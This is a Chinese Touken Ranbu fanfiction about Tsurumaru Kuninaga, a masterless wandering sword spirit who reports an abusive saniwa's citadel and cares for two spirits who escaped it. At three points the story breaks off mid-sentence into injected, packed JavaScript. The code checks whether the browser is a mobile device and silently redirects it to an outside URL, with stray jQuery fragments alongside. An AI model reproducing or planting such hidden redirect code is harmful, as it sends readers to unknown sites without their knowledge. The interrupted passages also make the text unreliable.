《[刀乱]鹤的流浪》 1. 流浪鹤 1 哟,我是鹤丸国永,目前正在绝赞独自流浪中~ 哼哼~有突然吓你一跳吗? 哎哎哎!鹤没有弑主!也没有悲惨的过去!鹤自显现之后连主公都没有,更没有被抛弃这回事! 暗堕?这位审神者大人是在论坛上刷太多同人文了吧?这只是同人文的一种设定,现实中是没有暗堕付丧神的喔! 鹤还是白鹤啦,白头发、白羽织,鹤的眼睛是金色的,不是同人文里的暗红!你看!……啊呀啊呀,是靠太近了吗,抱歉、抱歉~ 总之,我是鹤丸国永,我这样的刀突然到来,有没有吓到你啊——? 2 “鹤先生——” 蓝发的小短刀发间华丽的蓝金色渐变羽毛在空中晃动,充满活力的声音伴随着快速奔来的身影,一同撞入了踏进屋内的鹤丸国永怀中。 “哟,贞坊!好久不见。” 鹤丸国永不动声色地掂量了一下怀里的太鼓钟贞宗,心底的忧虑才稍稍放下了些许。 这振太鼓钟贞宗是两个星期前才流落到此处的流浪刀剑付丧神。 那时小小的短刀小心翼翼地抱着怀里的一振重伤的烛台切光忠,一双灿金的眼眸里带着紧绷的警惕和深深的疲倦,憔悴的面庞直到远远看见了从树梢上落下的他,嘴角才扯出了一抹笑容。 「是鹤先生啊……」 “鹤先生,小光大概明天就可以清醒过来了。” “……是个不错的好消息呢。” 鹤丸国永揉揉小短刀的头,抬手拭去了太鼓钟贞宗微红眼角下的一滴泪。 “真是太好了,小光……” 太鼓钟贞宗低喃了一句,很快地收拾好了自身的情绪,从鹤丸国永怀里跳了下来。 “鹤先生是来交易所交接任务的吧,一不小心耽误了鹤先生的时间真是……” “没事啦,贞坊。” 鹤丸国永按住太鼓钟贞宗的肩膀,给叨叨絮絮的小短刀转了个身面朝向门口。 “贞坊也才刚结束任务吧,不回去好好休整一下,可一点都不华丽,而且光坊也还在等你回去呢。” “啊,也是……那么鹤先生,等下次见面的时候请一定要来尝尝小光的手艺。” “当然,光坊的手艺可是相——当值得期待的!” 站在门口目送着小短刀离去的背影直至拐过墙角再也看不见,白色的鹤才再次走进了这间专属于流浪刀剑付丧神的交易所之中。 3 “哈哈哈,是鹤丸殿来了啊。” 鹤丸国永一推开会客厅的门就看见了坐在矮桌前的那振特殊的、有着「天下最美之刃」之称的三日月宗近。 “兄长正在雅间和店主汇报要事,鹤丸殿不妨来陪我这个老爷爷来喝杯茶?店主这里提供的茶点味道还是一如既往的好呢。” 三日月宗近捧着瓷白的茶杯,一张稚嫩但依旧可以窥见其昔日身为太刀时风华绝代的小脸上,浮现出了浅浅的笑意。 鹤丸国永听闻后反手关上了门,毫不客气地坐到了三日月宗近的旁边,捏起了摆在桌上盘中的茶点。 “小三日月,我昨天又见到了一座恶鬼的巢穴,嘛……真是个大惊吓。” “哦?又一个吗?” 三日月宗近将手中的茶杯轻放在桌上,承载着两弯新月的由深蓝渐变为浅蓝的双眸轻敛半阖,发间垂下的金穂轻晃。 他指尖摩挲着腰间短刀的刀柄,沉吟片刻后低头看向了茶水中立起的茶梗,心下便有了几分了然。 “鹤丸殿有何打算?” “等见了店主之后,自会有所结果的。” 鹤丸国永说完便‘啊呜’一声吃掉了口中的茶点。 “喔,是板栗馅的。” 白鹤咂吧下嘴,倒了杯苦茶中和了舌尖过度的甜腻。 “哈哈哈,很不错吧?” “太甜了啦,小三日月,小心蛀牙后今剑禁你甜食。” “兄长不会的唷。” 三日月宗近歪了歪头,让他本就精致昳丽的面容多带上了几分稚气可爱。 “唔,只要我肯用这张脸去对兄长撒撒娇,兄长就肯定是无法拒绝我的请求的。” “……感觉你说出了很了不得的话呢,小三日月。” 4 小天狗今剑踩着红色的高木履蹦蹦跳跳地从室内的雅间窜进会客厅,脚上的金环在走动间叮当作响。 “三日月——” 他拉长了尾音,赤红灵动的眼眸中投射出的目光转瞬间便落在了他那小小的幺弟身上。 “兄长回来了。” 三日月宗近扶着矮桌站起身来,张开双臂轻轻地抱住了如今略高于他的兄长大人。 “今剑殿的眼里只有小三日月,鹤明明也在这里呀——” 鹤丸国永有些夸张地在这对相依为命的三条兄弟面前挥了挥手。 “哟西~我当然也有看见鹤丸殿,但是还是弟弟更可爱一点啦~” “欸——” “好了啦,鹤丸殿,店主在等你过去哦。” “嘛,我知道了。” 将手上沾到的茶点残渣挥落,鹤丸国永告别两振三条家的小短刀,轻轻叩响雅间的门扉。 “是鹤来了喔,店主。” 不同与先前和同为刀剑付丧神之间轻松谈笑的样子,白鹤此时的脸上布满了冰冷而凝重的神情。 “本丸编号为B-5168,失格审神者代号「罂」。” “我昨日在江户城遇见到了受害的刀剑付丧神。” “那队刀剑付丧神仅有三刃出阵,我赶到现场的时候已经迟了……他们都碎掉了。” “那三振受害刃分别是蜂须贺虎彻、大般若长光和……” 鹤丸国永的声音忽然有些干涩,但他还是说了出来。 “……和一振『鹤丸国永』。” 5 「同振,鹤只能拜托你把消息传递出去了。」 明明是相同的面孔,眼前染上鲜血与土灰的白鹤气息虚浮,脸颊上可怖的裂痕中散溢出淡金色的光点。 「那个人叫「罂」、咳咳……本丸编号是B-5168。」 他吐出一口混着浑浊灵力的污血,如同回光返照般缓过了劲,但他口中断断续续的语句却慢慢地开始混乱了起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788723|174901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>「他是个人渣……小短刀没一个放过、一期殿为了弟弟们疯了……他联合三条家、左文字家和长船派反抗了……呵,那个人渣、小短刀们都还没碎掉……可恶,为什么要让他们承受那些折磨……连小贞也……」 那双相似的金色眼眸中流露出无尽的愤怒与悲伤。 「太可惜了啊,我们失败了……这样、被暴怒中的他派出来重伤出阵……也算是在预料之中的下场吧咳咳……和我一同前来的蜂须贺殿和大般若殿都、都已经碎掉了……我也快回归本灵了吧……」 「真是虚伪,以为封闭了刀解池就、就能让我们连碎刀解脱的机会都没有吗……这种惊吓,鹤可是一点都不喜欢啊……」 他紧紧地抓着鹤丸国永的衣袖,就像是抓住了最后的一根稻草。 「狐之助在一开始的时候就被他处理掉了,我们无法联系上时之政府……只有即将碎刀的时候、才能瞒过那家伙的灵力感应……所以同振,拜托了……小贞、小贞还那里……」 鹤丸国永注视着他,见证了一只鹤临死前最后的啼鸣。 「真伤脑筋呀……这染了一身赤红的衣装……看起来就不像鹤了啊……」* 6 “我会尽快如实上报给时政的,鹤丸殿。” 这间设立于流浪刀剑付丧神之间的交易所,是由五年前新上任的时之政府掌权高层秘密下令建设的。 曾经的时之政府被神道阴阳世家大族所渗透掌控,而刀剑付丧神们在此期间,难免会遇到一些失格的审神者。 弑主、抛弃、碎刀与折磨,以及疯狂的刃体实验,一笔一划地勾勒出了一幅血腥绝望的地狱画卷。 那段时日也被称为时之政府最为黑暗的三十年。 而鹤丸国永正是那个黑暗时代的亲历者。 嘛,都是些陈谷子烂芝麻的事情,都已经过去了。 和时政眼下最受欢迎的小说话本里结局所写的Happy Ending一样,再长久的黑暗也终会迎来曙光。 鹤只要需知道如今坐在那张权力高位上的人,是个会为刀剑付丧神做主的好心肠小傻瓜就好了~ 由交易所上报的消息能直通到达时政的执法部门,那个本丸的事情最终会由执法队人员去进行解决。 而他被『鹤丸国永』所托付的事情,到这里也就结束了。 他放下那振『鹤丸国永』最后遗留下来的、碎成几段的本体刀碎片作为证物,静默着离开了此地。 哪怕已是五年过去,在一些时政无法察觉的角落里,失格的审神者也依旧存在着。 而那些被伤害过的刀剑付丧神们,有的自愿刀解,回归本灵;有的舔舐伤口,另择明主;有的心存正义,入职时政。 或许那个本丸的刀剑付丧神们被时政救下后,也大多都会选择这三个去处吧。 而鹤丸国永,则属于第四类。 由那些从失格审神者手中抛弃或逃脱、又或者因意外流落在外且拥有了人身的无主刀剑付丧神们,在无意识中抱团而组成的一个群体—— 流浪刀剑付丧神。 纯白的鹤从黑暗的泥沼中挣脱后,最终选择了奔赴自由。 2. 聚集地 1 鹤丸国永醒来的时候,天正蒙蒙亮起。 从怀里摸出两枚圆滚滚的灵力球把玩了一下,白鹤决定去别刃家蹭个早饭。 嗯,什么?你问鹤为什么不自己动手丰衣足食?嘛……以前也不是没有过,只不过眼下有更好的选择嘛。 才不是因为鹤做饭不好吃,而是歌仙殿家的饭更美味,鹤只是不想委屈自己的肚子而已! 鹤丸国永洗了把脸,抖落一夜的浮尘与倦意。 将雪白刀鞘的太刀悬挂在腰间,风拂过耳侧的白发,捎来了树林里鸟雀发出的悦耳啼鸣。 又是新的一天。 2 靠近战场与交易所附近的一片无人山林,是少有的流浪刀剑付丧神聚集地之一。鹤丸国永在这里落脚了大概三个月,也算是摸清了定居在这里的刃们大致的情况。 家里刃口最多的还要数粟田口大家族。 做主的是藤四郎家那对胁差双子和一振药研藤四郎,他们带着几个弟弟们都住在邻溪边的木屋里。 顺带一提,木屋是藤四郎们自己设计搭建的,是个相当温馨的小屋子。屋前的田圃里还栽种了药研藤四郎外出时挖来的药草。 这振药研藤四郎的医术颇为高超,或许是因为在外流浪时治疗他刃的经验格外丰富,倒也担任起了这座聚集地里医生的职位。 鹤丸国永和粟田口那位鲶尾藤四郎在这三个月里倒是混成了志同道合的好朋友。嗯,特指在为大家带来一些惊喜与惊吓的某些方面上。 3 再然后就是土方组的和泉守兼定与堀川国广,跟曾同为细川家的歌仙兼定、小夜左文字,一同住在了山脚下一户废弃的农家院落里。 先前,在这个没有烛台切光忠的聚集地里,会做饭的刃有一个算一个,一只手都数得过来,水平参差不齐。 歌仙兼定到来之后烧得的一手好饭,不知道慰藉了多少刃惨遭自家刃下厨毒手摧残后饥肠辘辘的胃。 这也让歌仙兼定很快便成为了聚集地这一年里最受欢迎的刃之一。 小夜左文字则是孤身一刃,背着他的两位哥哥,宗三左文字和江雪左文字碎裂掉的刀刃碎片,在两个月前的一个深夜来到了聚集地。 当时鹤丸国永正在四处夜游,正巧就碰上了这个伤痕累累的孩子。 在敲响粟田口家的大门后,小夜左文字在药研的紧急救治下,最终还是活了下来。 等小夜清醒过来后,本就言语不多的小短刀怀抱着哥哥们的碎刃,越发的沉默寡言起来。 直到听闻了此事的歌仙兼定一脸担忧地赶来探望,并将小夜领回家去安顿下来,这件事情才算落幕。 4 土方组的这对搭档则是歌仙兼定更早些时候,从外面捡回来的刃。 听说是堀川国广在战场上意外显现后,不知道从哪里遇见了一振流浪的和泉守兼定,两刃就这样结伴同行了一段不短的时日。 和泉守兼定是一振练度较高的极化刀,但他带着他还是低练度的助手在危机四伏的战场上,终究还是一时不慎被敌方时间溯行军的敌枪一戳,戳成了重伤。 至于歌仙是怎么遇见他们并带回聚集地的,鹤丸国永也只是道听途说了一些消息,不知真假。 只不过见歌仙与和泉守两位兼定交谈间自然流露出的几分熟稔,白鹤和鲶尾私底下也有暗暗猜测过,和泉守与歌仙殿说不定曾是同一个本丸的刀剑同僚。 「曾经的过往早已成为云烟,如今的我们所在意的,是眼前与自己一同踏过荆棘血路,仍然能对彼此露出温暖笑靥的家人们。」 鲶尾藤四郎是这样在和他一同躺在午后的干草地上同他诉说的。那双与他兄弟骨喰藤四郎浅紫澄澈的眼眸相比,要更加深邃温柔的眼中倒映出此时天空中飘过的浮云。 「鹤丸殿呢?」 或许是当时是午后难得的暖阳让刃放下了厚重的心防,久违放松的氛围让有着柔顺黑色长发的胁差有些昏昏欲睡。 在陷入黑沉的梦乡之前,他恍惚间好像听到了白鹤的回应,但那又似乎只是白鹤的一声轻笑而已。 当他再次醒来之后,睁眼就看见前来寻找他的兄弟正坐在他的身旁,沉默而安静地陪伴着他。 他下意识侧过头望去,但白鹤早已振翅飞离,不知所踪。 5 到歌仙家门口的时候,辰时刚过。 怀里抱着几个刚从路上薅来的新鲜柿子,鹤丸国永欢快地敲响了歌仙家的大门。 “歌仙殿开开门——鹤来蹭饭喽——” “大早上的安静点啊……鹤丸先生。” 这次前来开门的刃是少见在家的和泉守兼定。 “哦呀,和泉守你终于舍得回来啦。” 鹤丸国永语调轻快地和扎着高马尾的俊美打刀打了个招呼,随后低头看向藏在和泉守身后探出个头的小夜左文字。 “小夜,你看,是鹤摘给你的柿子哦,怎么样,是个不错的惊吓吧?” 白鹤将怀里的柿子递给了小夜左文字,微笑地看着眼中闪烁着欣喜之色的蓝色短发小短刀接过后唇角微微抿起,小声地向他道谢。 “……谢谢鹤丸殿。” 和泉守兼定关上门扉,拽着鹤丸国永就往屋里走。 “来的到是凑巧,二代目刚做好早饭,国广在厨房帮忙端菜,你这家伙闻着味儿就来敲门了。” “兼先生、小夜——啊,鹤丸殿也来了啊。” 堀川国广透过敞开的门户,先是对拉着鹤丸国永回来的自家兼先生笑了笑,随后也热情招呼着诸位依次入座。 等在厨房忙完的歌仙兼定端着最后一份鱼料理入席之后,围在桌前的五位刀剑付丧神双手合十,异口同声地说道。 “いただきます——”(我开动了——) 6 “西侧那边战场的时间溯行军近期又躁动起来了。” 趁着歌仙和小夜处理厨房杂务离开不在的空档时间,鹤丸国永、和泉守和堀川三刃一同来到屋门前的檐廊饭后闲谈。 这振常年活跃于战斗中磨练自己的极化打刀和自己的助手坐在檐廊下,同倚靠在廊柱上的鹤丸国永聊起了离这并不遥远的战场。 “我和国广一起去了那边的前线战场外沿。” 他抬手遥遥一指西北方向的天际。 “在巡视的时候,还碰见了一个新来的小审神者。” 白鹤听见他哼笑一声,长发间的耳饰轻碰出碎响。 “一个天真的小姑娘。审神者随队出阵可是很危险的,时政都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788724|174901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没告诉她这点吗,真是太不像话了……” 说着他又有些出神地看向了小夜左文字栽种在院墙角下的小树苗,那是一棵成活不久的柿子树,尚且幼小。 “兼先生……” 堀川国广担忧地看向了有些怅然若失的和泉守兼定,握紧了挂在腰间的胁差。 7 他和他的兼先生相见时已经太晚太晚。要不是和泉守兼定多次对他的询问给予肯定,在遇见自己之前并没有过其他的『堀川国广』,他怕是不愿跟着这振早已极化修行过的兼先生一起离开的。 他在战场意外显现为刀剑付丧神,练度几乎没有。跟着这位强大且孤身一刃的兼先生,作为助手的自己,也只会成为拖累兼先生的负担吧。 当他打好腹稿,想向和泉守提出这件事的时候,他已经随和泉守兼定流浪了一段时间了。 在和兼先生一起度过的日子里,那些话语明明就抵在舌尖,但他却犹豫了一次又一次。 这是他的兼先生啊,那么强大又帅气的兼先生,他如此倾慕又向往的存在……他自知不配上他,但又舍不得离开。 「在战场上和我一同磨练自己吧,国广。」 他的兼先生似乎轻易地看透了他所顾虑的一切,随后为他指明了一条正确的康庄大道。 「只有变强,才可以在危险来临之时,守护住自己在意的人。」 来变强吧,堀川国广。 他紧紧握住腰间的胁差。 努力地去追赶他的背影,在那条兼先生永不会停止前行的道路上,他要以更快更快的脚步去追赶太阳。 这是他的兼先生啊…… 他想要的从来不仅仅只是仰望,而是与他并肩而行。 8 鹤丸国永靠在廊柱上,眺望着一轮红日从远处的山脉间徐徐升起。 淡金色的阳光穿过云层与尘埃,落到那用青砖石高高垒起的院墙,苗圃里与花共舞的纷飞蝴蝶,落到那墙角冒出绿意的柿子树梢,屋檐下随风扬起的琉璃风铃。 最终照亮了檐廊下付丧神那双孔雀蓝色的眼睛。 “叮铃——” 和泉守兼定恍然回过神来,下意识先安抚了一下自家容易胡思乱想的小助手。 “我没事,国广。” 他挠了挠头,语气里带着几分困惑。 “我只是突然想起……你记得咱们给二代目带回来的那包花种放到哪里了吗?” “啊,那包花种兼先生是存放在我这里了。” 堀川国广很快便回想起了这件事情,并应答道。 “嗯,对!” 和泉守兼定拍了拍堀川国广的肩膀。 “国广真是可靠啊,不愧是我的助手!” “兼先生……” 有着湛蓝瞳色的胁差闻言,面露出许些无奈。 鹤丸国永眯着眼睛看了会日出时天际边高空掠过的飞鸟,低下头,向他们提出了辞行。 “多谢款待,鹤要走啦。” “两个星期前,聚集地里新来了一振太鼓钟贞宗和一振烛台切光忠。鹤还要去看看他们的情况,所以便先行一步了~” 白鹤悠然地离开了这座宁静的小院,扑腾着翅膀准备前往下一个目的地去带来更多的惊吓了。 3. 伊达组 1 鹤丸国永轻哼着记忆中平安京腔调的和歌,踩着脚下深色的树影,迈着轻快而迅捷利落的步伐,准确无误地找到了太鼓钟贞宗和烛台切光忠在聚集地里的临时住所。 走近后,白鹤瞧见了屋上袅袅升起的炊烟。 啊,是小光在做早饭吧,看来已经苏醒过来了呢。 当他想到这里,一种难以形容的欢欣喜悦,飞快地从跃动的心脏处蔓延至全身。 他想要爽朗畅快地大笑出声来,但那笑声才涌上喉间、滚过舌面,在吐出口的顷刻却又化为一声浅浅的低叹。 只见他三步并作两步,轻轻一跃便跳上了长满青苔的墙头,动作轻盈得就像一只白鹤。 洁白华贵的羽织被风吹鼓翻飞起,在半空中划过一道优美的弧度。伴随着他欢快活泼的话语,那两轮浸透着笑意的金日在他眼中熠熠生辉。 站在庭院里拄着扫帚,正清扫着落叶尘土的烛台切光忠,一抬眼便对上了那一双灿若金阳的眼眸。 “哟,光坊!被鹤的突然出现吓到了吗?” 2 “真是吓到我了呢,鹤先生。” 戴着单边黑色眼罩遮住右眼的太刀,微笑着应和着轻巧落入院内的鹤丸国永口中的话,那只暖金色的左眼中掠过一抹淡淡的怀念之情。 “我昨夜恢复身形和小贞一不小心聊得太晚,现在小贞还在屋里休息……鹤先生不介意的话,要尝尝我今早新做的点心吗?” 生性敏锐的白鹤当然有察觉到眼前这振帅气而温和的太刀对自己的纵容迁就,似是早已熟悉相处许久的友人。 是曾经也遇到过『我』吗? 离得近了,鹤丸国永也感受到了烛台切光忠身上略有些混乱的灵力。 和当初遇见小贞的时候一样、混乱而污浊的灵力。 不过小贞现在平日里吸取的灵力,来源于他完成交易所任务后所换取的灵力球——也就是时政近年来新研发出并大力推广的一款灵力储存道具。 正常从属于本丸的刀剑付丧神手里灵力球中的灵力,通常都是自家审神者用自身的灵力填充供给。 而从交易所交换出的灵力球则是最纯粹的无主灵力,这也是时政专门提供给流浪刀剑付丧神的特殊灵力球。 这点‘优待’还是那个好心肠的小傻瓜极力争取到的。 无主的纯净灵力可以梳理流浪刀剑付丧神失去和审神者契约后混乱的灵力,让他们有能维持自身现状,又或再次择主的能力。 烛台切光忠原是振重伤后回归本体刀沉睡的刀剑付丧神。他能够苏醒恢复,是靠太鼓钟贞宗用从交易所带回的特殊灵力球中的灵力来温养本体刀,直到自我修复完成,才得以再次显现。 仅仅只是被动地依靠温养修复来吸收其中的灵力,终究还是无法彻底地洗去刀剑本身原有的浑浊,仍有些许残余的混乱灵力,带着鹤丸国永似曾相识的波动。 是了,这是和那振碎在他的怀里、回归本灵的同振——『鹤丸国永』身上一样的灵力。 白鹤的金眸中有冰冷而锐利的暗芒一闪而过,随后对面前发出邀请的烛台切光忠扬起一个灿烂的笑容。 “好啊好啊,光坊的手艺鹤好久都没品尝过了呢!” “鹤可是很期待的唷!” 烛台切光忠看着眼前活泼的白鹤,笑道。 “虽然食材有限,但我会尽我所能。” “绝不会让你失望的,鹤先生。” 3 太鼓钟贞宗迷迷糊糊地从睡梦中醒来。 自从小光拼着重伤带他从那个地狱里逃离之后,他已经很久很久没有像这样安稳地入眠过了。 他是一振新召唤出来的太鼓钟贞宗。 在他之前,已经有三振『太鼓钟贞宗』碎掉了。 唔……小光是第二振。 太鼓钟贞宗尚未完全清醒的大脑里,飞快地闪过了一些过去的记忆片段。 听伽罗说,最初的那振『烛台切光忠』在目睹那个人恶意碎了第二振『太鼓钟贞宗』后,企图在饭菜里给那个人下毒…… 后来被发现了,碎在了第三振『太鼓钟贞宗』的眼前。 ……伽罗。 「带着小贞快走!」 平日里寡言少语的深肤打刀咬着牙启动了广庭处的时空转换器,凛冽的暗金色瞳中带着疯狂和坚定。 「『鹤先生』在上次的出阵队伍里,去找他!」 他被烛台切光忠紧紧地抱在怀中,在浓重的血腥味和时空转换器骤然亮起的金光里,他看见大俱利伽罗的唇角弯起,露出了一个少见的、浅浅的笑。 那一瞬间,灿金和暗金对视。 最后的最后,他听见他说。 「请活下去。」 「再见。」 4 “喔!这个味道……” 好像听见鹤先生的声音了,是还在梦里吗…… “是用小贞从外面带回来的野果做的,味道应该还不错……等等!鹤先生!” 鹤先生……鹤先生! 太鼓钟贞宗一个激灵,顾不上散落在肩头的凌乱发丝和未着鞋袜的赤脚,捞起藏在枕下的短刀,跳下床铺一把推开了门。 灿烂盛大的阳光从门外照入室内,突然亮起的猛烈强光让太鼓钟贞宗眯起了眼睛。 “咳咳咳……活过来了活过来了,差点就死鹤了。” 鹤丸国永吨吨吨喝着烛台切光忠从厨房拿来的清水,舒缓着差点被点心噎到的咽喉。一转头,便看到了站在门口手握着刀眯着眼睛的小短刀。 “呀,贞坊,你醒了!” 他对太鼓钟贞宗高兴地挥了挥手。 “鹤来做客了哦。” 那洁白的身影在灿金的眼中摇晃,就像是那天在无尽的茫然和麻木中,一只雪白的鹤从天而降。 他缓缓地眨了眨眼晴。 “小贞。” 再抬眼,熟悉的太刀走到他的身前,暖金色的眼底略带着些不甚明显的担心。 “……小光。” 声音哑得不像话,一点都不华丽。 但是啊,但是…… “我们活下来了,小光。” 他猛地抱住了高大的太刀,将头深深地埋进他所熟悉的、那个带着炉火燃烧的暖意与糕点香甜味道的怀抱。 烛台切光忠微微一愣,左手下意识稳住怀里小短刀的身形,右手无措地在半空中摆动了一下,最终落在了那头半长的深蓝头发上。 “嗯。” 他低声回应着,以指作梳理了理太鼓钟贞宗凌乱的头发,像是在安抚一只炸毛的小猫。 就像是他曾见过的、大俱利伽罗为挂在身上的猫儿顺毛那样,脸上带着相似的温柔神情。 鹤丸国永捏起了烛台切光忠摆放在石桌上的、有着几道裂纹的盘中的最后一块点心放进了嘴里。 入口那又酸又涩的味道绝对称不上美味。 不过啊…… 白鹤慢慢地细品着口中的点心,久了竟也尝出了丝丝甜味来。 “光坊!” 他对扭头看过来的太刀笑得那般亲昵又自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788725|174901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “点心——相当的棒呢!” 5 目送着意识自己做了什么并大叫着“啊啊啊这太不华丽了!”的小短刀发挥了最高的机动,窜回屋里重新打理自身之后,烛台切光忠转过身正了正神色,望向了坐在庭院树下笑意盈盈的白鹤。 “鹤先生此次前来,是有何要事吗?” 鹤丸国永摸了摸下巴,思索片刻后说道。 “本来只是想着来看看你的情况的。” 白鹤收敛起脸上嬉笑的神情谈起正事的时候,身上自然而然地带上几分令刃信服的可靠感。 “不过光坊你既然清醒过来了的话,那你们目前接下来就要好好考虑一件事情了。” 他郑重地站起身来,像是要宣布一件大事。 “关于光坊和贞坊是否要离开此地——这件很重要的事情!” 烛台切光忠:? “光坊,贞坊他才刚被锻出来不久吧。” 白鹤看着烛台切光忠拉平的嘴角和不复笑意的暖金色眼眸,轻叹着用指尖轻敲着石桌。 他一点一点地将美好扯下,揭露出现实冰冷的残酷。 “新刀在级别过高的战场上,没有审神者的庇护是会受伤的,光坊。” ……严重一点的话,重伤又或者碎刀。 鹤丸国永也不是没有见过。 “你要好好的考虑一下,有关你们俩刃的未来。” 沉淀千年的雪白太刀,沉声点破了烛台切光忠所沉浸的虚幻美梦。 从那个失格审神者手中逃出来只是第一步,接下来呢,他们又该做些什么? 下一瞬间,烛台切光忠的语气变得急切了起来。 “鹤先生!你能联系上时政吗?我……” “B-5168。” 从鹤丸国永嘴里吐出的这一串编号,让烛台切光忠忽然间失去了说话的所有力气。 他不敢去细想,鹤丸国永为什么会知道这串编号。 这串属于他原本本丸、那个地狱的编号。 是谁会告诉他呢?他又是遇见了谁呢? 烛台切光忠第一次如此痛恨自己的敏锐。 “……是『鹤先生』,对吗?” 白鹤突然感觉自己似乎是说错了话。 “光坊……” 他手忙脚乱地想要抱住眼前颤抖着的太刀。 “光坊,别哭、哭了就不帅气了啊……” 6 『鹤先生』也离开了,伊达组只剩下他和小贞了。 烛台切光忠从未有如此冷静地意识到了这一点。 有那么一瞬间,他甚至在怨恨眼前这振鹤丸国永。 为什么要告诉他这件事,让他又失去了一个同伴。 但他又在下一刹那想明白了很多很多。 鹤先生知道了的话一定会上报给时政的吧,那还在本丸的大家也会更快地得到时政的救援—— 这明明是件好事啊,可他为什么心脏会钝钝的疼? 或许这不是真的? 这并不关『鹤先生』的事,他也许只是猜错了? “……是『鹤先生』,对吗?” 他向眼前的白鹤询问道,却不知他的声音轻得如同泡沫。 “光坊……” 鹤丸国永有些笨拙地轻轻抱住了他。 他听见白鹤说。 “光坊,别哭、哭了就不帅气了啊……” 啊……我,哭了吗? ……真是抱歉,让你看到了我难堪的一面啊,鹤先生。 4. 谈心 1 鹤丸国永陷入了刃生的重大危机。 问,不小心把平日十分可靠的故友惹哭了肿么办?! “……抱歉,让你看到难堪的一面了,鹤先生。” 别说了光坊!愧疚感更重了啊喂! 在白鹤有些慌乱地试图安慰烛台切光忠的时候,终于整理好着装的太鼓钟贞宗再一次打开了门。 “小光?鹤先生?” 小短刀有些迷惑地看着抱在一起的两刃。 “啊哈哈,没什么没什么,光坊只是、只是……” 鹤丸国永瞬间就和烛台切光忠分了开来,支支吾吾地想要对头上冒着硕大问号的太鼓钟贞宗解释些什么。 有些事情对有着小孩子心性的短刀来说,还是不要知道为好。 尤其是才刚锻出来不久的新刀。 纯白更容易被污浊的恶意所伤,就像火红的鲜血滴落在凝结的白霜上,炽热与冰冷相碰撞,最终只会化为刃心上的一阵刺骨寒凉。 烛台切光忠趁刃不注意,迅速地抹去眼角的一点湿润,便又成了太鼓钟贞宗记忆中那个沉稳而可靠的小光。他接过鹤丸国永口中的话,向金瞳的蓝发短刀付丧神缓声解释道。 “只是很长一段时间没见过旧友了,我刚刚……” 正当他习惯性地挂上浅笑,轻描淡写地想要轻轻揭过之时,太鼓钟贞宗突兀地打断了他的话。 “小光是想『鹤先生』了吗?” 2 太刀的呼吸停止了一瞬后很快又恢复了正常,眼角的余光却不由自主地落了在身侧的白鹤身上。 不管是那件雪白羽织,还是上系着的金色锁链,在阳光下都很是晃刃眼的闪闪发亮。 他回想起『鹤丸国永』随着出阵队伍离去时的模样。 相似的面容,相似的熟悉眉眼,白发,白肤,白羽织,眸中流转着千年岁月来酿就的从容与洒脱。 「光坊,鹤要走了。」 烛台切光忠看见大片大片的火红缠上了白色的鹤。 「贞坊就拜托你和伽罗坊了。」 到底还是不同的,狰狞的伤口,染血的衣摆,削瘦的身形,刀上的裂痕,无法掩饰的疲惫。 但那又是相同的,轻快的语调,微弯的金眸,灵敏的身姿,轻哼的和歌,无伤大雅的惊吓。 「我会活着回来的,光坊。」 ……鹤先生就是鹤先生啊,那是身为【鹤丸国永】这一振刀剑永远也无法磨灭的…… 「等我回来,鹤会继续给你们带来更多惊吓的哦!」 通透而又耀眼的、如鹤一般的自由灵魂。 “啊。” 烛台切光忠说道。 “当然……『鹤先生』说过了,他会回来的。” 鹤丸国永低敛着雪白眼睫,指尖仿佛又沾染上那日的温暖赤色,烫得令刃心惊。 白鹤想,那振『鹤丸国永』,失约了啊。 3 在劝说烛台切光忠留在屋里养修后,太鼓钟贞宗打算跟着鹤丸国永一起出趟门。 “是交易所的事情啦,还有一点后续任务没有处理好,要去确认一下。” 太鼓钟贞宗对着一直沉默地把目光放在他身上的太刀说道。 “有鹤先生和我在一起,我很快就会回来的。” 烛台切光忠将目光转移到白鹤身上。 “我会带贞坊回来的,光坊。” 鹤丸国永的语气难得地带上了几分郑重。 “好。” 高大的太刀微微颔首,将复杂紊乱的心绪收拾好藏入心底,他开口说道。 “我相信你,鹤先生。” “记得早点回来。” 4 太鼓钟贞宗走在鹤丸国永的身前,身后蓝色的华丽披风随风扬起,发间蓝金色的渐变羽毛一颤一颤。 “我都听到了哦,鹤先生。” 在安静的林间,一句轻飘飘的话语落入白鹤的耳中。 “不要忽视我身为短刀的侦察值啊,你们在院里交谈发出的声音还是很明显的。” “……啊,这件事情本来也要跟你说的。” 鹤丸国永说着,踢了一脚地上的石子,迈开长腿跟上了太鼓钟贞宗,与他并肩同行。 “鹤先生是听见了什么风声吗?” 为何如此着急地想让我和小光离开? “有一个好消息和一个坏消息,贞坊想先听哪一个?” 